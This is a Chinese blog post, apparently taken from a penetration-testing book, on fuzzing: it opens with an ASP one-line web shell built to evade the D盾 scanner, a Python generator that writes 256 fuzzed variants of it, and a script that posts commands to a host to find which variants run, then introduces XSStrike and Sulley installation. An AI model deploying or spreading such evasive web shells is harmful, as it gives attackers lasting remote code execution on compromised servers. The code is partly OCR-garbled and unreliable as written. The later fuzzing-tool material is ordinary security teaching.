模糊测试结合Web Shell

 

模糊测试的思路和技术在各个方向都可以运用,在Web Shell中也可以通过模 糊测试来进行测试。通过有效的模糊处理可以将Web Shell中的特征消除,提升渗 透过程中Web Shell的可利用性。

首先我们写一个免杀绕过D盾的代码:

 

<%

a = request("value")

eval+a

%>

主要思路是将Web Shell和参数传递变形来实现免杀。接下来要在此基础上对 这个免杀Web Shell进行加工,做成模糊测试的升级版。思路是这样的:在模糊测 试点插入ASCII值为0~255的字符,以十进制数字命名,批量生成脚本。

1)导入需要用到的模块,此脚本只需用到os模块即可:

#!/usr/bin/env # coding:utf-8 import os

python

2)创造一个方法,用generate来加工先前的免杀一句话木马加工,在其中增 加模糊的参数:

def generate(count) :

template = """

<%

a = request("value")

eval{0}a

%>""" .format(chr(count))

with open(os .path.join(path, "fuzz_{} .asp" .format(count)), 'w ') as f : f.write(template)

3)循环调用方法,遍历0~255的ASCII码,得到结果:

path = r" ./fuzz/"

for c in range(0, generate(c)

 

256) :

这样模糊测试的Web Shell脚本就完成了。要测试具体哪些是可以使用的,则 将此脚本生成的模糊测试文件放到Web目录下进行访问查看。批量访问查看接口

 

import requests

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps107.png&pos_id=608CrgUG

for i in range(32,128) :

url = 'http://10 .100 .18 .28/1/fuzz_{0} .asp ' .format(i)

body_post = { 'value ' : 'value=response .write("attack") '} r = requests .post(url, data=body_post)

content = r .text

if 'attack ' in content :

print (url)

print (content)

U

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml5872%5Cwps108.png&pos_id=jk72YLk0

 

页面返回中带有attack ,则代表Web Shell是可用的。

这里使用的eval{0}a是属于固定点位的测试。除此之外,还有另一种有效的 方法,就是不设置固定的fuzz插入位置,让它遍历所有的位置来生成模糊测试的 Web Shell 。相信你会发现更多的绕过方法。

 

 

 

 

 

 

8.5    模糊测试工具

 

模糊测试的分类和应用范围十分广泛,这里仅仅介绍了运用模糊测试绕过安 全狗的操作,但在开发工作中,模糊测试基本可以运用于所有测试环节,比如文 件格式的模糊测试。

文件格式模糊测试是一种针对特别定义的目标应用的模糊测试方法。多数情 况下,这些目标的应用是客户端应用,包括媒体播放器、Web浏览器、办公套件 等, 目标应用也可以是服务器中的程序,比如防病毒软件、网关、垃圾邮件过滤 器、邮件服务程序等。文件模糊测试的终极目的是发现应用程序解析特定文件的 缺陷。

2005~2006年,人们发现了许多文件格式解析漏洞,并且这种类型的错误并 未消失殆尽,这让文件格式模糊测试成为一个非常有趣且热门的研究对象。

文件格式模糊测试和其他种类的模糊测试不一样。通常文件格式模糊测试在 一台主机上就能完整地执行。当进行Web程序或者网络协议层模糊测试时,多数 情况下可能需要至少准备两个系统,一个作为被测试的目标系统,一个作为模糊 测试运行测试的系统。因为文件格式模糊测试在单独的一台机器上便可以完整地 进行,所以文件格式模糊测试成为一种很具有吸引力的漏洞发现方法。

对于基于网络的模糊测试来说,在需要测试的目标网络应用中,何时发生了 一个有趣的反馈是非常明显的,多数情况下,服务器将会关闭或者崩溃,并且将 不能继续连接。但是对于文件格式模糊测试,主要是对客户端的应用进行模糊测 试,模糊器将会继续重新开始运行并销毁前一个目标程序应用,因此便不能使用 适用于网络模糊测试的监视机制,那么模糊器便可能无法识别出程序错误崩溃的 情景。所以文件格式模糊测试是比网络模糊测试更加复杂的应用领域。对文件格 式模糊测试而言,模糊器必须监视目标应用程序的每一次执行来发现异常,多数 情况下,方法是使用调试库来动态监视目标应用程序中已经处理和并未处理的异 常反馈。

 

 

 

 

 

 

8.5.1    XSS模糊测试工具XSStrike

XSStrike是一款检测XSS(Cross Site Scripting)漏洞的高级检测工具,集成  了Payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效 载荷并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的 上下文分析来保证有效载荷。除此之外,XSStrike还具有爬行、模糊测试、参数 发现、WAF检测功能,还会扫描DOM XSS漏洞。

XSStrike 的特点如下:

·进行反射和DOM XSS扫描。

· 多线程抓取。

· 背景分析。

· 可配置的核心。

·WAF检测和规避。

· 浏览器引擎集成为零误报率。

·有智能负载发生器。

·有手工制作的HTML和JavaScript解析器。

· 强大的模糊引擎。

·支持Blind XSS。

· 完善的工作流程。

· 完整的HTTP支持。

·来自文件的Bruteforce有效负载。

·有效载荷编码。

·Python编写。

 

 

 

 

 

6264ad4bfb5b4530b42c3085db09f014.png

图8-9    下载XSStrike

使用git命令即可下载安装XSStrike ,如图8-9所示。

具体使用说明可以用-h参数进行查询,如图8-10所示。

947551bd6e104e43945bac3e5d8b5f9c.png

图8-10    查看帮助

首先来测试一下工具的使用效果。在我们的Web主机上写一个含有XSS漏洞

 

 

 

 

 

的页面,看工具能否扫描出来,如图8-11所示。

执行效果如图8-12所示。

f20d3d596561421db18fe1a5452a238f.png

图8-11    Web源码

067cfa0675424bd28dde17e340ec03d2.png

图8-12    Web页面

接下来使用XSStrike进行扫描操作,-u指定扫描的URL路径,如图8-13所示。

可以看到,能够很快扫描出此处存在XSS漏洞,并且能通过模糊测试遍历出 很多XSS语句。有兴趣的读者可以进一步分析一下这个工具的源码。

 

 

 

 

 

 

8.5.2    Sulley模糊测试框架

Sulley是一款模糊测试框架,由Pedram AMINI和Aaron Portnoy设计。

Sulley的主要功能如下:

·观察网络通信并系统地维护相关的记录。

·监视目标应用的状态,并且能够使用多种方法将其恢复到一个好的状态。

45ace20d5f4849a086e054108531a339.png

图8-13    使用XSStrike进行扫描

·将所发现的错误进行检测、跟踪和分类。

· 并行地进行模糊测试,极大地提高了测试速度。

· 能够自动地确定是哪个唯一的测试用例序列触发了错误。

· 不需要人工干预就可以自动完成上述工作以及更多的工作。

在Windows 10系统下安装Sulley的步骤如下。

1)安装MinGW 。打开下载链接(见公众号链接8-1)进行安装,结果如图8-

 

 

 

 

 

14所示。

f7fa49e2645840d1ae273122964d1223.png

图8-14    安装MinGW

2)安装Python环境。打开下载链接(见公众号链接8-2)安装该环境。

3)安装git并设置环境变量。打开下载链接(见公众号链接8-3)并安装完成 后,配置环境变量,如图8-15所示。

b705dda14c954993b41e87ceb9a9e31b.png

 

 

 

 

 

图8-15    配置环境变量

4)安装pydbg 。输入下列命令下载pydbg:

 

git clone https://github.com/Fitblip/pydbg .git

下载完成后,进入下载目录,执行下列命令完成安装:

>>>python setup .py install

5)安装libdasm 。打开下载链接(见公众号链接8-4)后,输入下列命令安 装:

>>>python setup .py build_ext -c mingw32

>>>python setup .py install

6)验证Sulley 。输入下列命令,下载Sulley:

git clone https://github.com/OpenRCE/sulley .git

下载完成后,进入下载目录,执行下列命令完成安装:

>>>python process_monitor .py

7)安装Pcapy 。输入下列命令下载Pcapy:

>>>git clone https://github.com/CoreSecurity/pcapy .git;

http://www.winpcap.org/install/bin/WpdPack 4  1 2 .zip

下载完成后,进入Pcapy下载目录,执行下列命令进行安装:

>>>python setup .py build_ext -c mingw32 -I "C:\sulley\WpdPack\Include" -L "C:\sulley\WpdPack\Lib"

>>>python setup .py install

8)安装WinPcap 。打开下载链接(见公众号链接8-5)下载并安装。

9)安装Impacket 。输入下列命令下载Impacket:

 

 

 

下载完成后,进入下载目录,执行下列命令进行安装:

>>>python setup .py install

10)运行network_monitor.py。

进入C:\Sulley\sulley目录执行下列命令,结果如图8-16所示。

>>>python network_monitor .py

图8-16    命令执行结果

a584e44b6f8a439685739d03d467b369.png

 

  • 20
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lyx-0607

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值